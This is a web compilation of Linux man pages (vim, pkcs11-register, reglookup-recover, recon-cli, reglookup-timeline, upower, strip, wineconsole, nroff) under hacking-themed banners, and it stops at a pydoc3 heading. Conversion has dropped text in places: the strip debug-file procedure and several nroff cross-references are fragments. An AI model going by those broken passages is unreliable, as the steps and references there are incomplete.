As –remote, but without the warning when no server is found.

–remote-wait
As –remote, but Vim does not exit until the files have been edited.

–remote-wait-silent
As –remote-wait, but without the warning when no server is found.

–serverlist
List the names of all Vim servers that can be found.

–servername {name}
Use {name} as the server name. Used for the current Vim, unless used with a –remote argument, then it’s the name of the server to connect to.

–socketid {id}
GTK GUI only: Use the GtkPlug mechanism to run gvim in another window.

–startuptime {file}
During startup write timing messages to the file {fname}.

–version
Print version information and exit.

–windowid {id}
Win32 GUI only: Make gvim try to use the window {id} as a parent, so that it runs inside that window.

ON-LINE HELP

Type “:help” in Vim to get started. Type “:help subject” to get help on a specific subject. For example: “:help ZZ” to get help for the “ZZ” command. Use <Tab> and CTRL-D to complete subjects (":help cmdline-completion"). Tags are present to jump from one place to another (sort of hypertext links, see “:help”). All documentation files can be viewed in this way, for example “:help syntax.txt”.

FILES

/usr/local/share/vim/vim??/doc/*.txt
The Vim documentation files. Use “:help doc-file-list” to get the complete list.
vim?? is short version number, like vim91 for Vim 9.1

/usr/local/share/vim/vim??/doc/tags
The tags file used for finding information in the documentation files.

/usr/local/share/vim/vim??/syntax/syntax.vim
System wide syntax initializations.

/usr/local/share/vim/vim??/syntax/*.vim
Syntax files for various languages.

/usr/local/share/vim/vimrc
System wide Vim initializations.

~/.vimrc, ~/.vim/vimrc, $XDG_CONFIG_HOME/vim/vimrc
Your personal Vim initializations (first one found is used).

/usr/local/share/vim/gvimrc
System wide gvim initializations.

~/.gvimrc, ~/.vim/gvimrc, $XDG_CONFIG_HOME/vim/gvimrc
Your personal gvim initializations (first one found is used).

/usr/local/share/vim/vim??/optwin.vim
Script used for the “:options” command, a nice way to view and set options.

/usr/local/share/vim/vim??/menu.vim
System wide menu initializations for gvim.

/usr/local/share/vim/vim??/bugreport.vim
Script to generate a bug report. See “:help bugs”.

/usr/local/share/vim/vim??/filetype.vim
Script to detect the type of a file by its name. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/scripts.vim
Script to detect the type of a file by its contents. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/print/*.ps
Files used for PostScript printing.

For recent info read the VIM home page:
<URL:http://www.vim.org/>

SEE ALSO

vimtutor(1)

AUTHOR

Most of Vim was made by Bram Moolenaar, with a lot of help from others. See “:help credits” in Vim.
Vim is based on Stevie, worked on by: Tim Thompson, Tony Andrews and G.R. (Fred) Walter. Although hardly any of the original code remains.

BUGS

Probably. See “:help todo” for a list of known problems.

Note that a number of things that may be regarded as bugs by some, are in fact caused by a too-faithful reproduction of Vi’s behaviour. And if you think other things are bugs “because Vi does it differently”, you should take a closer look at the vi_diff.txt file (or type :help vi_diff.txt when in Vim). Also have a look at the ‘compatible’ and ‘cpoptions’ options.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

906 - Linux cli command pkcs11-register

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkcs11-register and provides detailed information about the command pkcs11-register, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkcs11-register.

NAME 🖥️ pkcs11-register 🖥️

register - Simple tool to install PKCS#11 modules to known applications.

SYNOPSIS

pkcs11-register [OPTIONS]

DESCRIPTION

The pkcs11-register utility can be used from the command line to register PKCS#11 modules to various applications

OPTIONS

–help, -h

Print help message on screen.

–version, -V

Print the OpenSC package release version.

–module filename, -m filename

Path to the PKCS#11 module to load. The default is OpenSC PKCS#11 module.

–skip-chrome

Dont install module for Chrome browser. By default, the tool attempts to install the module for Chrome browser.

–skip-firefox

Dont install module for Firefox browser. By default, the tool attempts to install the module for Firefox browser.

–skip-thunderbird

Dont install module for Thunderbird mail client. By default, the tool attempts to install the module for Thunderbird mail client.

–skip-seamonkey

Dont install module for Seamonkey. By default, the tool attempts to install the module Seamonkey.

SEE ALSO

pkcs11-tool(1) opensc.conf(5)

AUTHORS

pkcs11-register was written by Frank Morgner <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

907 - Linux cli command reglookup-recover

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command reglookup-recover and provides detailed information about the command reglookup-recover, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the reglookup-recover.

NAME 🖥️ reglookup-recover 🖥️

recover - Windows NT+ registry deleted data recovery tool

SYNOPSIS

reglookup-recover [options] registry-file

DESCRIPTION

reglookup-recover attempts to scour a Windows registry hive for deleted data structures and outputs those found in a CSV-like format.

OPTIONS

reglookup-recover accepts the following parameters:

-v
Verbose output.

-h
Enables the printing of a column header row. (default)

-H
Disables the printing of a column header row.

-l
Display cells which could not be interpreted as valid registry structures at the end of the output.

-L
Do not display cells which could not be interpreted as valid registry structures. This is the default behavior.

-r
Display raw cell contents for cells which were interpreted as intact data structures. This additional output will appear on the same line as the interpreted data.

-R
Do not display raw cell contents for cells which were interpreted as intact data structures. This is the default behavior.

registry-file
Required argument. Specifies the location of the registry file to read. The system registry files should be found under: %SystemRoot%/system32/config.

OUTPUT

reglookup-recover generates a comma-separated values (CSV) like output and writes it to stdout. For more information on the syntax of the general format, see reglookup(1).

This tool is new and the output format, particularly the included columns, may change in future revisions. When this format stablizes, additional documentation will be included here.

EXAMPLES

To dump the recoverable contents of a system registry hive:

	reglookup-recover /mnt/win/c/WINDOWS/system32/config/system

Extract all available unallocated data, including unparsable unallocated space and the raw data associated with parsed cells in a user-specific registry:

	reglookup-recover -r -l '/mnt/win/c/Documents and Settings/user/NTUSER.DAT'

BUGS

This program has been smoke-tested against most current Windows target platforms, but a comprehensive test suite has not yet been developed. (Please report results to the development mailing list if you encounter any bugs. Sample registry files and/or patches are greatly appreciated.)

This program is new as of RegLookup release 0.9.0 and should be considered unstable.

For more information on registry format details and the recovery algorithm, see:

http://sentinelchicken.com/research/registry_format/ http://sentinelchicken.com/research/registry_recovery/

CREDITS

This program was written by Timothy D. Morgan.

LICENSE

Please see the file “LICENSE” included with this software distribution.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License version 3 for more details.

SEE ALSO

reglookup-timeline(1) reglookup-recover(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

908 - Linux cli command recon-cli

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command recon-cli and provides detailed information about the command recon-cli, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the recon-cli.

NAME 🖥️ recon-cli 🖥️

cli - Allow the use of recon-ng from the command line

SYNOPSIS

recon-cli [-h] [-v] [-w workspace] [-C command] [-c command] [-G] [-g name=value] [-M] [-m module] [-O] [-o name=value] [-x] [–no-version] [–no-analytics] [–no-marketplace] [–stealth] [–version] [–analytics]

DESCRIPTION

If external shell scripting is preferred, recon-cli makes all of the functionality of the Recon-ng framework accessible from the command line.

OPTIONS

-h, –help
show this help message and exit

-w workspace
load/create a workspace

-C command
runs a command at the global context

-c command
runs a command at the module context (pre-run)

-G
show available global options

-g name=value
set a global option (can be used more than once)

-M
show modules

-m module
specify the module

-O
show available module options

-o name=value
set a module option (can be used more than once)

-x
run the module

–no-version
disable version check (by default in Debian)

–no-analytics
disable analytics reporting (by default in Debian)

–no-marketplace
disable remote module management

–stealth
disable all passive requests (–no-*)

-v, –version
show program’s version number and exit

–analytics
enable Google analytics reporting

AUTHORS

Tim Tomes (@LaNMaSteR53) tjt1980[at]gmail.com

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

909 - Linux cli command reglookup-timeline

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command reglookup-timeline and provides detailed information about the command reglookup-timeline, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the reglookup-timeline.

NAME 🖥️ reglookup-timeline 🖥️

timeline - Windows NT+ registry MTIME timeline generator

SYNOPSIS

reglookup-timeline [-H**]** registry-file [registry-file …]

DESCRIPTION

This script is a wrapper for reglookup(1), and reads one or more registry files to produce an MTIME-sorted output. This is helpful when building timelines for forensic investigations.

PARAMETERS

reglookup-timeline accepts one or more registry file names. All of the provided registries will be parsed using reglookup(1). The -H option may be used to omit the header line.

OUTPUT

reglookup-timeline generates a comma-separated values (CSV) compatible format to stdout. While the output of reglookup-timeline and reglookup(1) differ in the columns returned, the base format is the same.

Currently, reglookup-timeline returns three columns: MTIME, FILE, and PATH. Only rows representing registry keys are returned, since MTIMEs are not stored for values. The FILE column indicates which registry file (provided as an argument) the key came from. Finally, the PATH field contains the full registry path to the key. Records are returned sorted in ascending order based on the MTIME column.

BUGS

This script is new, and as such it’s interface may change significantly over the next few revisions. In particular, additional command line options will likely be added, and the output of the script may be altered in minor ways.

It is very difficult to find documentation on what precise operations cause the MTIMEs to be updated. Basic experimentation indicates that a key’s stamp is updated anytime an immediate sub-value or sub-key is created, renamed, deleted, or it’s value is modified. If this MTIME data is critical to an investigation, any conclusions should be validated through experimentation in a controlled lab environment.

This software should be considered unstable at this time.

CREDITS

This script was written by Timothy D. Morgan based on suggestions from Uwe Danz.

Please see source code for a full list of copyrights.

LICENSE

Please see the file “LICENSE” included with this software distribution.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License version 3 for more details.

SEE ALSO

reglookup(1) reglookup-recover(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

910 - Linux cli command upower

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command upower and provides detailed information about the command upower, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the upower.

NAME 🖥️ upower 🖥️

UPower command line tool

SYNOPSIS

upower [–dump] [–enumerate] [–monitor-detail] [–monitor] [–show-info] [–version] [–help]

DESCRIPTION

upower is a simple command line client for the UPower(7) daemon. TODO: not fully documented.

OPTIONS

–monitor

Connect to the UPower daemon and print a line every time a power source is added, removed or changed.

–monitor-detail

Like –monitor but prints the full details of the power source whenever an event happens.

–help

Show help options.

AUTHOR

Written by David Zeuthen <[email protected]> with a lot of help from many others.

BUGS

Please send bug reports to either the distribution or the DeviceKit mailing list, see http://lists.freedesktop.org/mailman/listinfo/devkit-devel on how to subscribe.

SEE ALSO

upowerd(8), UPower(7),

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

911 - Linux cli command x86_64-w64-mingw32-strip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-strip and provides detailed information about the command x86_64-w64-mingw32-strip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-strip.

NAME 🖥️ x86_64-w64-mingw32-strip 🖥️

discard symbols and other data from object files

SYNOPSIS

strip [-F bfdname |–target=bfdname] [-I bfdname |–input-target=bfdname] [-O bfdname |–output-target=bfdname] [-s|–strip-all] [-S|-g|-d|–strip-debug] [–strip-dwo] [-K symbolname|–keep-symbol=symbolname] [-M|–merge-notes][–no-merge-notes] [-N symbolname |–strip-symbol=symbolname] [-w|–wildcard] [-x|–discard-all] [-X |–discard-locals] [-R sectionname |–remove-section=sectionname] [–keep-section=sectionpattern] [–remove-relocations=sectionpattern] [–strip-section-headers] [-o file] [-p|–preserve-dates] [-D|–enable-deterministic-archives] [-U|–disable-deterministic-archives] [–keep-section-symbols] [–keep-file-symbols] [–only-keep-debug] [-v |–verbose] [-V|–version] [–help] [–info] objfile

DESCRIPTION

GNU strip discards all symbols from object files objfile. The list of object files may include archives. At least one object file must be given.

strip modifies the files named in its argument, rather than writing modified copies under different names.

OPTIONS

-F bfdname

–target=bfdname

Treat the original objfile as a file with the object code format bfdname, and rewrite it in the same format.

–help
Show a summary of the options to strip and exit.

–info
Display a list showing all architectures and object formats available.

-I bfdname

–input-target=bfdname

Treat the original objfile as a file with the object code format bfdname.

-O bfdname

–output-target=bfdname

Replace objfile with a file in the output format bfdname.

-R sectionname

–remove-section=sectionname

Remove any section named sectionname from the output file, in addition to whatever sections would otherwise be removed. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. The wildcard character * may be given at the end of sectionname. If so, then any section starting with sectionname will be removed. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be removed even if an earlier use of –remove-section on the same command line would otherwise remove it. For example: –remove-section=.text.* –remove-section=!.text.foo will remove all sections matching the pattern ‘.text.*’, but will not remove the section ‘.text.foo’.

–keep-section=sectionpattern
When removing sections from the output file, keep sections that match sectionpattern.

–remove-relocations=sectionpattern
Remove relocations from the output file for any section matching sectionpattern. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. For example: –remove-relocations=.text.* will remove the relocations for all sections matching the patter ‘.text.*’. If the first character of sectionpattern is the exclamation point (!) then matching sections will not have their relocation removed even if an earlier use of –remove-relocations on the same command line would otherwise cause the relocations to be removed. For example: –remove-relocations=.text.* –remove-relocations=!.text.foo will remove all relocations for sections matching the pattern ‘.text.*’, but will not remove relocations for the section ‘.text.foo’.

–strip-section-headers
Strip section headers. This option is specific to ELF files. Implies –strip-all and –merge-notes.

-s

–strip-all

Remove all symbols.

-g

-S

-d

–strip-debug

Remove debugging symbols only.

–strip-dwo
Remove the contents of all DWARF .dwo sections, leaving the remaining debugging sections and all symbols intact. See the description of this option in the objcopy section for more information.

–strip-unneeded
Remove all symbols that are not needed for relocation processing in addition to debugging symbols and sections stripped by –strip-debug.

-K symbolname

–keep-symbol=symbolname

When stripping symbols, keep symbol symbolname even if it would normally be stripped. This option may be given more than once.

-M

–merge-notes

–no-merge-notes

For ELF files, attempt (or do not attempt) to reduce the size of any SHT_NOTE type sections by removing duplicate notes. The default is to attempt this reduction unless stripping debug or DWO information.

-N symbolname

–strip-symbol=symbolname

Remove symbol symbolname from the source file. This option may be given more than once, and may be combined with strip options other than -K.

-o file
Put the stripped output in file, rather than replacing the existing file. When this argument is used, only one objfile argument may be specified.

-p

–preserve-dates

Preserve the access and modification dates of the file.

-D

–enable-deterministic-archives

Operate in deterministic mode. When copying archive members and writing the archive index, use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, below.

-U

–disable-deterministic-archives

Do not operate in deterministic mode. This is the inverse of the -D option, above: when copying archive members and writing the archive index, use their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.

-w

–wildcard

Permit regular expressions in symbolnames used in other command line options. The question mark (?), asterisk (*), backslash (\ and square brackets ([]) operators can be used anywhere in the symbol name. If the first character of the symbol name is the exclamation point (!) then the sense of the switch is reversed for that symbol. For example: -w -K !foo -K fo* would cause strip to only keep symbols that start with the letters “fo”, but to discard the symbol “foo”.

-x

–discard-all

Remove non-global symbols.

-X

–discard-locals

Remove compiler-generated local symbols. (These usually start with L or ..)

–keep-section-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying section names, which would otherwise get stripped.

–keep-file-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying source file names, which would otherwise get stripped.

–only-keep-debug
Strip a file, emptying the contents of any sections that would not be stripped by –strip-debug and leaving the debugging sections intact. In ELF files, this preserves all the note sections in the output as well. Note - the section headers of the stripped sections are preserved, including their sizes, but the contents of the section are discarded. The section headers are preserved so that other tools can match up the debuginfo file with the real executable, even if that executable has been relocated to a different address space. The intention is that this option will be used in conjunction with –add-gnu-debuglink to create a two part executable. One a stripped binary which will occupy less space in RAM and in a distribution and the second a debugging information file which is only needed if debugging abilities are required. The suggested procedure to create these files is as follows:

  1. foo then…

  2. create a file containing the debugging info.

  3. stripped executable.

  4. to add a link to the debugging info into the stripped executable.

Note—the choice of .dbg as an extension for the debug info file is arbitrary. Also the --only-keep-debug step is optional. You could instead do this:

i.e., the file pointed to by the –add-gnu-debuglink can be the full executable. It does not have to be a file created by the –only-keep-debug switch. Note—this switch is only intended for use on fully linked files. It does not make sense to use it on object files where the debugging information may be incomplete. Besides the gnu_debuglink feature currently only supports the presence of one filename containing debugging information, not multiple filenames on a one-per-object-file basis.

-V

–version

Show the version number for strip.

-v

–verbose

Verbose output: list all object files modified. In the case of archives, strip -v lists all members of the archive.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

912 - Linux cli command wineconsole-stable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wineconsole-stable and provides detailed information about the command wineconsole-stable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wineconsole-stable.

NAME 🖥️ wineconsole-stable 🖥️

The Wine console

SYNOPSIS

wineconsole [command]

DESCRIPTION

wineconsole is the Wine console manager, used to run console commands and applications. It allows running the console in a newly made window.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

wineconsole is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

913 - Linux cli command nroff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nroff and provides detailed information about the command nroff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nroff.

Name

nroff - format documents with groff for TTY (terminal) devices

Synopsis

nroff [-bcCEhikpRStUVz] [-d ** ctext] [-d ** string**=** text] [-K ** fallback-encoding] [-m ** macro-package] [-M ** macro-directory] [-n ** page-number] [-o ** page-list] [-P ** postprocessor-argument] [-r ** cnumeric-expression] [-r ** register**=** numeric-expression] [-T ** output-device] [-w ** warning-category] [**-W ** warning-category] [*file *. . .] nroff –help nroff -v nroff –version

Description

nroff formats documents written in the

language for typewriter-like devices such as terminal emulators. GNU nroff emulates the AT&T nroff command using

nroff generates output via

groff’s terminal output driver, which needs to know the character encoding scheme used by the device. Consequently, acceptable arguments to the -T option are ascii, latin1, utf8, and cp1047; any others are ignored. If neither the GROFF_TYPESETTER environment variable nor the -T command-line option (which overrides the environment variable) specifies a (valid) device, nroff consults the locale to select an appropriate output device. It first tries the

program, then checks several locale-related environment variables; see section “Environment” below. If all of the foregoing fail, -Tascii is implied.

The -b, -c, -C, -d, -E, -i, -m, -M, -n, -o, -r, -U, -w, -W, and -z options have the effects described in

-c and -h imply “-P-c” and “-P-h”, respectively; -c is also interpreted directly by troff. In addition, this implementation ignores the AT&T nroff options -e, -q, and -s (which are not implemented in groff). The options -k, -K, -p, -P, -R, -t, and -S are documented in

-V causes nroff to display the constructed groff command on the standard output stream, but does not execute it. -v and –version show version information about nroff and the programs it runs, while –help displays a usage message; all exit afterward.

Exit status

nroff exits with error status 2 if there was a problem parsing its arguments, with status 0 if any of the options -V, -v, –version, or –help were specified, and with the status of groff otherwise.

Environment

Normally, the path separator in environment variables ending with PATH is the colon; this may vary depending on the operating system. For example, Windows uses a semicolon instead.

GROFF_BIN_PATH
is a colon-separated list of directories in which to search for the groff executable before searching in PATH. If unset, /usr/bin is used.

GROFF_TYPESETTER
specifies the default output device for groff.

LC_ALL
LC_CTYPE
LANG
LESSCHARSET
are pattern-matched in this order for contents matching standard character encodings supported by groff in the event no -T option is given and GROFF_TYPESETTER is unset, or the values specified are invalid.

Files

/usr/share/groff/1.23.0/tmac/tty-char.tmac
defines fallback definitions of roff special characters. These definitions more poorly optically approximate typeset output than those of tty.tmac in favor of communicating semantic information. nroff loads it automatically.

Notes

Pager programs like

and

may require command-line options to correctly handle some output sequences; see

See also

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

914 - Linux cli command pydoc3

